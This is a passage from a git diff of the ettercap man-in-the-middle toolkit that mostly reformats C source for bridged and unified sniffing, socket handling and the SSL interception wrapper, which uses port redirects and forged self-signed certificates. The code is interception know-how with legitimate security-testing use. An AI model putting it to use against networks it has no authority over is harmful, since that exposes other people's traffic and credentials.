Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- bridged sniffing method module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -45,18 +45,18 @@ void bridge_set_forwardable(struct packet_object *po); void start_bridge_sniff(void) { DEBUG_MSG("start_bridge_sniff"); - + if (GBL_SNIFF->active == 1) { USER_MSG("Bridged sniffing already started...\n"); return; } - + USER_MSG("Starting Bridged sniffing...\n\n"); - + /* create the timeouter thread */ - if (!GBL_OPTIONS->read) { + if (!GBL_OPTIONS->read) { pthread_t pid; - + pid = ec_thread_getpid("timer"); if (pthread_equal(pid, EC_PTHREAD_NULL)) ec_thread_new("timer", "conntrack timeouter", &conntrack_timeouter, NULL); @@ -64,7 +64,7 @@ void start_bridge_sniff(void) /* create the thread for packet capture */ capture_start(GBL_IFACE); - + /* create the thread for packet capture on the bridged interface */ capture_start(GBL_BRIDGE); @@ -77,12 +77,12 @@ void start_bridge_sniff(void) void stop_bridge_sniff(void) { DEBUG_MSG("stop_bridge_sniff"); - + if (GBL_SNIFF->active == 0) { USER_MSG("Bridged sniffing is not running...\n"); return; } - + /* kill it */ capture_stop(GBL_IFACE); capture_stop(GBL_BRIDGE); @@ -92,7 +92,6 @@ void stop_bridge_sniff(void) GBL_SNIFF->active = 0; } - void forward_bridge_sniff(struct packet_object *po) { /* don't forward dropped packets */ @@ -105,8 +104,8 @@ void forward_bridge_sniff(struct packet_object *po) */ if (po->fwd_packet) po->len = po->L2.len + po->fwd_len; - - /* + + /* * send the packet to the other interface. * the socket was opened during the initialization * phase (parameters parsing) by bridge_init() @@ -115,7 +114,6 @@ void forward_bridge_sniff(struct packet_object *po) send_to_bridge(po); else if (po->flags & PO_FROMBRIDGE) send_to_L2(po); - } /* @@ -132,42 +130,41 @@ void bridge_check_forwarded(struct packet_object *po) /* avoid gcc complaining for unused var */ (void)tmp; - + if (po->flags & PO_FROMIFACE) { /* search the mac in the iface table */ LIST_FOREACH(omt, &iface_origin_table, next) - if (!memcmp(omt->mac, po->L2.src, MEDIA_ADDR_LEN)) - return; + if (!memcmp(omt->mac, po->L2.src, MEDIA_ADDR_LEN)) + return; - /* + /* * now search it in the opposite table * if it was registered there, the packet is forwarded */ LIST_FOREACH(omt, &bridge_origin_table, next) - if (!memcmp(omt->mac, po->L2.src, MEDIA_ADDR_LEN)) { - po->flags |= PO_FORWARDED; - return; - } + if (!memcmp(omt->mac, po->L2.src, MEDIA_ADDR_LEN)) { + po->flags |= PO_FORWARDED; + return; + } } - + if (po->flags & PO_FROMBRIDGE) { /* search the mac in the bridge table */ LIST_FOREACH(omt, &bridge_origin_table, next) - if (!memcmp(omt->mac, po->L2.src, MEDIA_ADDR_LEN)) - return; - - /* + if (!memcmp(omt->mac, po->L2.src, MEDIA_ADDR_LEN)) + return; + + /* * now search it in the opposite table * if it was registered there, the packet is forwarded */ LIST_FOREACH(omt, &iface_origin_table, next) - if (!memcmp(omt->mac, po->L2.src, MEDIA_ADDR_LEN)) { - po->flags |= PO_FORWARDED; - return; - } + if (!memcmp(omt->mac, po->L2.src, MEDIA_ADDR_LEN)) { + po->flags |= PO_FORWARDED; + return; + } } - /* allocate a new entry for the newly discovered mac address */ SAFE_CALLOC(omt, 1, sizeof(struct origin_mac_table)); @@ -178,34 +175,31 @@ void bridge_check_forwarded(struct packet_object *po) DEBUG_MSG("Added the mac [%s] to IFACE table", mac_addr_ntoa(po->L2.src, tmp)); LIST_INSERT_HEAD(&iface_origin_table, omt, next); } - + if (po->flags & PO_FROMBRIDGE) { DEBUG_MSG("Added the mac [%s] to BRIDGE table", mac_addr_ntoa(po->L2.src, tmp)); LIST_INSERT_HEAD(&bridge_origin_table, omt, next); } } -/* +/* * in bridged sniffing all the packet must be forwarded * on the other iface */ void bridge_set_forwardable(struct packet_object *po) { /* If for us on the iface */ - if ( !memcmp(GBL_IFACE->mac, po->L2.src, MEDIA_ADDR_LEN) || !memcmp(GBL_IFACE->mac, po->L2.dst, MEDIA_ADDR_LEN) ) + if (!memcmp(GBL_IFACE->mac, po->L2.src, MEDIA_ADDR_LEN) || !memcmp(GBL_IFACE->mac, po->L2.dst, MEDIA_ADDR_LEN)) return; /* If for us on the bridge */ - if ( !memcmp(GBL_BRIDGE->mac, po->L2.src, MEDIA_ADDR_LEN) || !memcmp(GBL_BRIDGE->mac, po->L2.dst, MEDIA_ADDR_LEN) ) + if (!memcmp(GBL_BRIDGE->mac, po->L2.src, MEDIA_ADDR_LEN) || !memcmp(GBL_BRIDGE->mac, po->L2.dst, MEDIA_ADDR_LEN)) return; - /* in bridged sniffing all the packet have to be forwarded */ + /* in bridged sniffing all the packet have to be forwarded */ po->flags |= PO_FORWARDABLE; } - - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_sniff_unified.c b/src/ec_sniff_unified.c index 1e34a1bf1..e655aa5a7 100644 --- a/src/ec_sniff_unified.c +++ b/src/ec_sniff_unified.c @@ -1,23 +1,23 @@ /* - ettercap -- unified sniffing method module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- unified sniffing method module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -37,7 +37,7 @@ void unified_set_forwardable(struct packet_object *po); /*******************************************/ /* - * creates the threads for capturing + * creates the threads for capturing */ void start_unified_sniff(void) { @@ -46,13 +46,13 @@ void start_unified_sniff(void) USER_MSG("Unified sniffing already started...\n"); return; } - + USER_MSG("Starting Unified sniffing...\n\n"); - + /* create the timeouter thread */ - if (!GBL_OPTIONS->read) { + if (!GBL_OPTIONS->read) { pthread_t pid; - + pid = ec_thread_getpid("timer"); if (pthread_equal(pid, EC_PTHREAD_NULL)) ec_thread_new("timer", "conntrack timeouter", &conntrack_timeouter, NULL); @@ -61,7 +61,7 @@ void start_unified_sniff(void) /* create the thread for packet capture */ capture_start(GBL_IFACE); - if(GBL_OPTIONS->secondary) + if (GBL_OPTIONS->secondary) secondary_sources_foreach(capture_start); /* start ssl_wrapper thread */ @@ -71,27 +71,26 @@ void start_unified_sniff(void) GBL_SNIFF->active = 1; } - /* * kill the capturing threads, but leave untouched the others */ void stop_unified_sniff(void) { pthread_t pid; - + DEBUG_MSG("stop_unified_sniff"); - + if (GBL_SNIFF->active == 0) { USER_MSG("Unified sniffing is not running...\n"); return; } - + /* kill it */ capture_stop(GBL_IFACE); - if(GBL_OPTIONS->secondary) + if (GBL_OPTIONS->secondary) secondary_sources_foreach(capture_stop); - + pid = ec_thread_getpid("sslwrap"); if (!pthread_equal(pid, EC_PTHREAD_NULL)) ec_thread_destroy(pid); @@ -101,30 +100,29 @@ void stop_unified_sniff(void) GBL_SNIFF->active = 0; } - void forward_unified_sniff(struct packet_object *po) { /* if it was not initialized, no packet are forwardable */ - switch(ntohs(po->L3.proto)) { - case LL_TYPE_IP: - if(!GBL_LNET->lnet_IP4) - return; - if(!(GBL_IFACE->has_ipv4)) - return; - break; - case LL_TYPE_IP6: - if(!GBL_LNET->lnet_IP6) - return; - if(!(GBL_IFACE->has_ipv6)) - return; - break; + switch (ntohs(po->L3.proto)) { + case LL_TYPE_IP: + if (!GBL_LNET->lnet_IP4) + return; + if (!(GBL_IFACE->has_ipv4)) + return; + break; + case LL_TYPE_IP6: + if (!GBL_LNET->lnet_IP6) + return; + if (!(GBL_IFACE->has_ipv6)) + return; + break; } - + /* if unoffensive is set, don't forward any packet */ if (GBL_OPTIONS->unoffensive || GBL_OPTIONS->read) return; - /* + /* * forward the packet to Layer 3, the kernel * will route them to the correct destination (host or gw) */ @@ -133,36 +131,37 @@ void forward_unified_sniff(struct packet_object *po) if ((po->flags & PO_DROPPED) == 0) send_to_L3(po); - /* - * if the packet was modified and it exceeded the mtu, - * we have to inject the exceeded data - */ - if (po->DATA.inject) - inject_buffer(po); + /* + * if the packet was modified and it exceeded the mtu, + * we have to inject the exceeded data + */ + if (po->DATA.inject) + inject_buffer(po); } /* * check if the packet has been forwarded by us * the source mac address is our, but the ip address is different */ -void unified_check_forwarded(struct packet_object *po) +void unified_check_forwarded(struct packet_object *po) { /* the interface was not configured, the packets are not forwardable */ if (!GBL_IFACE->is_ready) return; - - /* - * dont sniff forwarded packets (equal mac, different ip) + + /* + * dont sniff forwarded packets (equal mac, different ip) * but only if we are on live connections */ if (GBL_CONF->skip_forwarded && !GBL_OPTIONS->read && !memcmp(GBL_IFACE->mac, po->L2.src, MEDIA_ADDR_LEN) && - ip_addr_is_ours(&po->L3.src) != E_FOUND) { + ip_addr_is_ours(&po->L3.src) != E_FOUND) + { po->flags |= PO_FORWARDED; } } -/* +/* * if the dest mac address of the packet is * the same of GBL_IFACE->mac but the dest ip is * not the same as GBL_IFACE->ip, the packet is not @@ -170,20 +169,18 @@ void unified_check_forwarded(struct packet_object *po) */ void unified_set_forwardable(struct packet_object *po) { - /* + /* * if the mac is our, but the ip is not... * it has to be forwarded */ if (!memcmp(GBL_IFACE->mac, po->L2.dst, MEDIA_ADDR_LEN) && memcmp(GBL_IFACE->mac, po->L2.src, MEDIA_ADDR_LEN) && - ip_addr_is_ours(&po->L3.dst) != E_FOUND) { + ip_addr_is_ours(&po->L3.dst) != E_FOUND) + { po->flags |= PO_FORWARDABLE; } - } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_socket.c b/src/ec_socket.c index c50d466ed..d3b13d9c9 100644 --- a/src/ec_socket.c +++ b/src/ec_socket.c @@ -1,23 +1,23 @@ /* - ettercap -- socket handling module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- socket handling module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -25,17 +25,17 @@ #include #ifndef OS_WINDOWS - #include - #include - #include - #include +#include +#include +#include +#include #endif #include /*******************************************/ -/* +/* * set or unset blocking flag on a socket */ void set_blocking(int s, int set) @@ -49,20 +49,19 @@ void set_blocking(int s, int set) /* get the current flags */ if ((ret = fcntl(s, F_GETFL, 0)) == -1) return; - - if (set) + + if (set) ret &= ~O_NONBLOCK; else ret |= O_NONBLOCK; - + /* set the flag */ -// fcntl (s, F_SETFL, F_SETFD, FD_CLOEXEC, ret); //this solution BREAKS the socket (ssl mitm will not work) +// fcntl (s, F_SETFL, F_SETFD, FD_CLOEXEC, ret); //this solution BREAKS the socket (ssl mitm will not work) fcntl(s, F_SETFL, ret); -#endif +#endif } - /* * open a socket to the specified host and port */ @@ -71,15 +70,15 @@ int open_socket(const char *host, u_int16 port) struct addrinfo *result, *res; struct addrinfo hints; int sh, ret, err = 0; -#define TSLEEP (50*1000) /* 50 milliseconds */ +#define TSLEEP (50 * 1000) /* 50 milliseconds */ int loops = (GBL_CONF->connect_timeout * 10e5) / TSLEEP; - char service[5+1]; + char service[5 + 1]; DEBUG_MSG("open_socket -- [%s]:[%d]", host, port); /* convert port number to string */ snprintf(service, 6, "%u", port); - + /* predefine TCP as socket type and protocol */ memset(&hints, 0, sizeof(struct addrinfo)); hints.ai_socktype = SOCK_STREAM; @@ -87,25 +86,25 @@ int open_socket(const char *host, u_int16 port) /* resolve hostname */ if ((ret = getaddrinfo(host, service, &hints, &result)) != 0) { DEBUG_MSG("unable to resolve %s using getaddrinfo(): %s", - host, gai_strerror(ret)); - return -E_NOADDRESS; + host, gai_strerror(ret)); + return -E_NOADDRESS; } /* go though results and try to connect */ for (res = result; res != NULL; res = res->ai_next) { /* open the socket */ - if ( (sh = socket(res->ai_family, res->ai_socktype, res->ai_protocol)) < 0) { + if ((sh = socket(res->ai_family, res->ai_socktype, res->ai_protocol)) < 0) { freeaddrinfo(result); return -E_FATAL; } - + /* set nonblocking socket */ set_blocking(sh, 0); - + do { /* connect to the server */ ret = connect(sh, res->ai_addr, res->ai_addrlen); - + /* connect is in progress... */ if (ret < 0) { err = GET_SOCK_ERRNO(); @@ -114,23 +113,23 @@ int open_socket(const char *host, u_int16 port) DEBUG_MSG("open_socket: connect() retrying: %d", err); ec_usleep(TSLEEP); /* 50000 microseconds */ } - } else { + } else { /* there was an error or the connect was successful */ break; } - } while(loops--); + } while (loops--); /* if connected we skip other addresses */ if (ret == 0) break; } - - /* + + /* * we cannot recall get_sock_errno because under windows * calling it twice would not return the same result */ err = ret < 0 ? err : 0; - + /* reached the timeout */ if (ret < 0 && (err == EINPROGRESS || err == EALREADY || err == EAGAIN)) { DEBUG_MSG("open_socket: connect() timeout: %d", err); @@ -146,21 +145,20 @@ int open_socket(const char *host, u_int16 port) freeaddrinfo(result); return -E_INVALID; } - + DEBUG_MSG("open_socket: connect() connected."); - + /* reset the state to blocking socket */ set_blocking(sh, 1); - - + DEBUG_MSG("open_socket: %d", sh); freeaddrinfo(result); - + return sh; } /* - * close the given socket + * close the given socket */ int close_socket(int s) { @@ -169,13 +167,12 @@ int close_socket(int s) /* close the socket */ #ifdef OS_WINDOWS return closesocket(s); -#else +#else return close(s); -#endif +#endif } - -/* +/* * send a buffer throught the socket */ int socket_send(int s, const u_char *payload, size_t size) @@ -193,8 +190,6 @@ int socket_recv(int sh, u_char *payload, size_t size) return recv(sh, payload, size, 0); } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_sslwrap.c b/src/ec_sslwrap.c index df91995a9..0f0a1fad6 100644 --- a/src/ec_sslwrap.c +++ b/src/ec_sslwrap.c @@ -1,23 +1,23 @@ /* - ettercap -- SSL support - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- SSL support + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -34,14 +34,14 @@ #include #ifndef OS_WINDOWS - #include +#include #endif #ifdef OS_LINUX - #include +#include #endif #if defined OS_LINUX && defined WITH_IPV6 - #include +#include #endif #include @@ -49,7 +49,7 @@ // XXX - check if we have poll.h #ifdef HAVE_SYS_POLL_H - #include +#include #endif /* don't include kerberos. RH sux !! */ @@ -60,24 +60,25 @@ #define HAVE_OPAQUE_RSA_DSA_DH 1 /* since 1.1.0 -pre5 */ #endif -#define BREAK_ON_ERROR(x,y,z) do { \ - if (x == -E_INVALID) { \ - SAFE_FREE(z.DATA.disp_data); \ - sslw_initialize_po(&z, z.DATA.data); \ - z.len = 64; \ - z.L4.flags = TH_RST; \ - packet_disp_data(&z, z.DATA.data, z.DATA.len); \ - sslw_parse_packet(y, SSL_SERVER, &z); \ - sslw_wipe_connection(y); \ - SAFE_FREE(z.DATA.data); \ - SAFE_FREE(z.DATA.disp_data); \ - ec_thread_exit(); \ - } \ -} while(0) +#define BREAK_ON_ERROR(x, y, z) \ + do { \ + if (x == -E_INVALID) { \ + SAFE_FREE(z.DATA.disp_data); \ + sslw_initialize_po(&z, z.DATA.data); \ + z.len = 64; \ + z.L4.flags = TH_RST; \ + packet_disp_data(&z, z.DATA.data, z.DATA.len); \ + sslw_parse_packet(y, SSL_SERVER, &z); \ + sslw_wipe_connection(y); \ + SAFE_FREE(z.DATA.data); \ + SAFE_FREE(z.DATA.disp_data); \ + ec_thread_exit(); \ + } \ + } while (0) /* globals */ -static LIST_HEAD (, listen_entry) listen_ports; +static LIST_HEAD(, listen_entry) listen_ports; struct listen_entry { int fd; @@ -86,7 +87,7 @@ struct listen_entry { u_int16 redir_port; /* Port where accepts connections */ u_char status; /* Use directly SSL or not */ char *name; - LIST_ENTRY (listen_entry) next; + LIST_ENTRY(listen_entry) next; }; struct accepted_entry { @@ -96,15 +97,15 @@ struct accepted_entry { SSL *ssl[2]; u_char status; X509 *cert; - #define SSL_CLIENT 0 - #define SSL_SERVER 1 +#define SSL_CLIENT 0 +#define SSL_SERVER 1 }; -/* Session identifier +/* Session identifier * It has to be of even length for session hash matching */ struct sslw_ident { u_int32 magic; - #define SSLW_MAGIC 0x0501e77e +#define SSLW_MAGIC 0x0501e77e struct ip_addr L3_src; u_int16 L4_src; u_int16 L4_dst; @@ -118,8 +119,7 @@ struct sslw_ident { #define SSLW_SET "20" #endif - -#define TSLEEP (50*1000) /* 50 milliseconds */ +#define TSLEEP (50 * 1000) /* 50 milliseconds */ static SSL_CTX *ssl_ctx_client, *ssl_ctx_server; static EVP_PKEY *global_pk; @@ -139,7 +139,7 @@ static void sslw_init(void); static void sslw_initialize_po(struct packet_object *po, u_char *p_data); static int sslw_match(void *id_sess, void *id_curr); static void sslw_create_session(struct ec_session **s, struct packet_object *po); -static size_t sslw_create_ident(void **i, struct packet_object *po); +static size_t sslw_create_ident(void **i, struct packet_object *po); static void sslw_hook_handled(struct packet_object *po); static X509 *sslw_create_selfsigned(X509 *serv_cert); static int sslw_insert_redirect(u_int16 sport, u_int16 dport); @@ -151,37 +151,37 @@ static int sslw_remove_sts(struct packet_object *po); /*******************************************/ -/* - * Register a new ssl wrapper +/* + * Register a new ssl wrapper */ void sslw_dissect_add(char *name, u_int32 port, FUNC_DECODER_PTR(decoder), u_char status) { struct listen_entry *le; - + SAFE_CALLOC(le, 1, sizeof(struct listen_entry)); - + le->sslw_port = port; le->status = status; le->name = name; - /* Insert it in the port list where listen for connections */ - LIST_INSERT_HEAD(&listen_ports, le, next); + /* Insert it in the port list where listen for connections */ + LIST_INSERT_HEAD(&listen_ports, le, next); - dissect_add(name, APP_LAYER_TCP, port, decoder); + dissect_add(name, APP_LAYER_TCP, port, decoder); } -/* +/* * Move a ssl_wrapper on another port */ void sslw_dissect_move(char *name, u_int16 port) { struct listen_entry *le, *tmp; - LIST_FOREACH_SAFE(le, &listen_ports, next, tmp) - if(!strcmp(name, le->name)) { - DEBUG_MSG("sslw_dissect_move: %s [%u]", name, port); - le->sslw_port = port; - + LIST_FOREACH_SAFE(le, &listen_ports, next, tmp) + if (!strcmp(name, le->name)) { + DEBUG_MSG("sslw_dissect_move: %s [%u]", name, port); + le->sslw_port = port; + /* Move to zero means disable */ if (port == 0) { LIST_REMOVE(le, next); @@ -190,7 +190,7 @@ void sslw_dissect_move(char *name, u_int16 port) } } -/* +/* * Initialize the ssl wrappers */ void ssl_wrap_init(void) @@ -202,7 +202,7 @@ void ssl_wrap_init(void) DEBUG_MSG("ssl_wrap_init: not aggressive"); return; } - + /* a valid script for the redirection must be set */ if (!GBL_CONF->redir_command_on) { DEBUG_MSG("ssl_wrap_init: no redirect script"); @@ -213,25 +213,24 @@ void ssl_wrap_init(void) DEBUG_MSG("ssl_wrap_init"); sslw_init(); sslw_bind_wrapper(); - + /* Add the hook to block real ssl packet going to top half */ hook_add(HOOK_HANDLED, &sslw_hook_handled); number_of_services = 0; - LIST_FOREACH(le, &listen_ports, next) - number_of_services++; + LIST_FOREACH(le, &listen_ports, next) + number_of_services++; #ifdef WITH_IPV6 /* with IPv6 enabled we actually duplicate the number of listener sockets */ number_of_services *= 2; #endif - + SAFE_CALLOC(poll_fd, 1, sizeof(struct pollfd) * number_of_services); atexit(ssl_wrap_fini); } - static void ssl_wrap_fini(void) { struct listen_entry *le, *old; @@ -250,10 +249,9 @@ static void ssl_wrap_fini(void) SSL_CTX_free(ssl_ctx_server); SSL_CTX_free(ssl_ctx_client); - } -/* +/* * SSL thread main function. */ EC_THREAD_FUNC(sslw_start) @@ -270,7 +268,7 @@ EC_THREAD_FUNC(sslw_start) int fd = 0, nfds = 0, i = 0; /* variable not used */ - (void) EC_THREAD_PARAM; + (void)EC_THREAD_PARAM; ec_thread_init(); @@ -300,7 +298,7 @@ EC_THREAD_FUNC(sslw_start) poll(poll_fd, nfds, -1); /* Find out which file descriptor got active */ - for (i=0; ifd[SSL_CLIENT] = accept(fd, (struct sockaddr *)&client_ss, &len); - + /* Error checking */ if (ae->fd[SSL_CLIENT] == -1) { SAFE_FREE(ae); @@ -331,24 +329,24 @@ EC_THREAD_FUNC(sslw_start) /* Set the server original port for protocol dissection */ ae->port[SSL_SERVER] = htons(le->sslw_port); - + /* Check if we have to enter SSL status */ ae->status = le->status; /* Set the peer (client) in the connection list entry */ sa = (struct sockaddr *)&client_ss; switch (sa->sa_family) { - case AF_INET: - sa4 = (struct sockaddr_in *)&client_ss; - ae->port[SSL_CLIENT] = sa4->sin_port; - ip_addr_init(&(ae->ip[SSL_CLIENT]), AF_INET, (u_char *)&(sa4->sin_addr.s_addr)); - break; + case AF_INET: + sa4 = (struct sockaddr_in *)&client_ss; + ae->port[SSL_CLIENT] = sa4->sin_port; + ip_addr_init(&(ae->ip[SSL_CLIENT]), AF_INET, (u_char *)&(sa4->sin_addr.s_addr)); + break; #ifdef WITH_IPV6 - case AF_INET6: - sa6 = (struct sockaddr_in6 *)&client_ss; - ae->port[SSL_CLIENT] = sa6->sin6_port; - ip_addr_init(&(ae->ip[SSL_CLIENT]), AF_INET6, (u_char *)&(sa6->sin6_addr.s6_addr)); - break; + case AF_INET6: + sa6 = (struct sockaddr_in6 *)&client_ss; + ae->port[SSL_CLIENT] = sa6->sin6_port; + ip_addr_init(&(ae->ip[SSL_CLIENT]), AF_INET6, (u_char *)&(sa6->sin6_addr.s6_addr)); + break; #endif } @@ -358,10 +356,9 @@ EC_THREAD_FUNC(sslw_start) } return NULL; - -} +} -/* +/* * Filter SSL related packets and create NAT sessions. * It hooks HOOK_HANDLED. */ @@ -372,15 +369,16 @@ static void sslw_hook_handled(struct packet_object *po) /* We have nothing to do with this packet */ if (!sslw_is_ssl(po)) return; - + /* If it's an ssl packet don't forward */ po->flags |= PO_DROPPED; - + /* If it's a new connection */ - if ( (po->flags & PO_FORWARDABLE) && - (po->L4.flags & TH_SYN) && - !(po->L4.flags & TH_ACK) ) { - + if ((po->flags & PO_FORWARDABLE) && + (po->L4.flags & TH_SYN) && + !(po->L4.flags & TH_ACK)) + { + sslw_create_session(&s, PACKET); #ifndef OS_LINUX @@ -388,7 +386,7 @@ static void sslw_hook_handled(struct packet_object *po) memcpy(s->data, &po->L3.dst, sizeof(struct ip_addr)); session_put(s); #else - SAFE_FREE(s); /* Just get rid of it */ + SAFE_FREE(s); /* Just get rid of it */ #endif } else /* Pass only the SYN for conntrack */ po->flags |= PO_IGNORE; @@ -403,25 +401,21 @@ static int sslw_insert_redirect(u_int16 sport, u_int16 dport) char asc_dport[16]; int i, ret_val = 0; char *command; - char *param[4], *commands[2] = {NULL, NULL}; - + char *param[4], *commands[2] = { NULL, NULL }; + /* the script is not defined */ - if (GBL_CONF->redir_command_on == NULL) - { + if (GBL_CONF->redir_command_on == NULL) { USER_MSG("sslwrap: cannot setup the redirect, did you uncomment the redir_command_on command on your etter.conf file?\n"); return -E_FATAL; - } - else { + } else { commands[0] = strdup(GBL_CONF->redir_command_on); } #ifdef WITH_IPV6 /* IPv6 redirect script is optional */ - if (GBL_CONF->redir6_command_on == NULL) - { + if (GBL_CONF->redir6_command_on == NULL) { WARN_MSG("sslwrap: cannot setup the redirect for IPv6, did you uncomment the redir6_command_on command on your etter.conf file?\n"); - } - else { + } else { commands[1] = strdup(GBL_CONF->redir6_command_on); } #endif @@ -451,25 +445,25 @@ static int sslw_insert_redirect(u_int16 sport, u_int16 dport) /* execute the script */ switch (fork()) { - case 0: - regain_privs(); - execvp(param[0], param); - drop_privs(); - WARN_MSG("Cannot setup http redirect (command: %s), please edit your etter.conf file and put a valid value in redir_command_on field\n", param[0]); - SAFE_FREE(command); - _exit(-E_INVALID); - case -1: + case 0: + regain_privs(); + execvp(param[0], param); + drop_privs(); + WARN_MSG("Cannot setup http redirect (command: %s), please edit your etter.conf file and put a valid value in redir_command_on field\n", param[0]); + SAFE_FREE(command); + _exit(-E_INVALID); + case -1: + SAFE_FREE(command); + return -E_INVALID; + default: + wait(&ret_val); + if (WIFEXITED(ret_val) && WEXITSTATUS(ret_val)) { + DEBUG_MSG("sslw_insert_redirect: child exited with non-zero return code: %d", + WEXITSTATUS(ret_val)); + USER_MSG("sslwrap: redir_command_on had non-zero exit status (%d): [%s]\n", WEXITSTATUS(ret_val), command); SAFE_FREE(command); return -E_INVALID; - default: - wait(&ret_val); - if (WIFEXITED(ret_val) && WEXITSTATUS(ret_val)) { - DEBUG_MSG("sslw_insert_redirect: child exited with non-zero return code: %d", - WEXITSTATUS(ret_val)); - USER_MSG("sslwrap: redir_command_on had non-zero exit status (%d): [%s]\n", WEXITSTATUS(ret_val), command); - SAFE_FREE(command); - return -E_INVALID; - } + } } SAFE_FREE(command); @@ -486,25 +480,21 @@ static int sslw_remove_redirect(u_int16 sport, u_int16 dport) char asc_dport[16]; int i, ret_val = 0; char *command; - char *param[4], *commands[2] = {NULL, NULL}; + char *param[4], *commands[2] = { NULL, NULL }; /* the script is not defined */ - if (GBL_CONF->redir_command_off == NULL) - { + if (GBL_CONF->redir_command_off == NULL) { USER_MSG("sslwrap: cannot remove the redirect, did you uncomment the redir_command_off command on your etter.conf file?"); return -E_FATAL; - } - else { + } else { commands[0] = strdup(GBL_CONF->redir_command_off); } #ifdef WITH_IPV6 /* the script for IPv6 is optional */ - if (GBL_CONF->redir6_command_off == NULL) - { + if (GBL_CONF->redir6_command_off == NULL) { WARN_MSG("sslwrap: cannot remove the redirect for IPv6, did you uncommend the redir6_command_off command in your etter.conf file?"); - } - else { + } else { commands[1] = strdup(GBL_CONF->redir6_command_off); } #endif @@ -535,38 +525,37 @@ static int sslw_remove_redirect(u_int16 sport, u_int16 dport) /* execute the script */ switch (fork()) { - case 0: - regain_privs(); - execvp(param[0], param); - drop_privs(); - WARN_MSG("Cannot remove http redirect (command: %s), please edit your etter.conf file and put a valid value in redir_command_on field\n", param[0]); - SAFE_FREE(command); - _exit(-E_INVALID); - case -1: - SAFE_FREE(command); + case 0: + regain_privs(); + execvp(param[0], param); + drop_privs(); + WARN_MSG("Cannot remove http redirect (command: %s), please edit your etter.conf file and put a valid value in redir_command_on field\n", param[0]); + SAFE_FREE(command); + _exit(-E_INVALID); + case -1: + SAFE_FREE(command); + return -E_INVALID; + default: + wait(&ret_val); + SAFE_FREE(command); + if (ret_val == -E_INVALID) return -E_INVALID; - default: - wait(&ret_val); - SAFE_FREE(command); - if (ret_val == -E_INVALID) - return -E_INVALID; } } return E_SUCCESS; } - -/* - * Check if this packet is for ssl wrappers +/* + * Check if this packet is for ssl wrappers */ static int sslw_is_ssl(struct packet_object *po) { struct listen_entry *le; - - /* If it's already coming from ssl wrapper - * or the connection is not TCP */ - if (po->flags & PO_FROMSSL || po->L4.proto != NL_TYPE_TCP) + + /* If it's already coming from ssl wrapper + * or the connection is not TCP */ + if (po->flags & PO_FROMSSL || po->L4.proto != NL_TYPE_TCP) return 0; LIST_FOREACH(le, 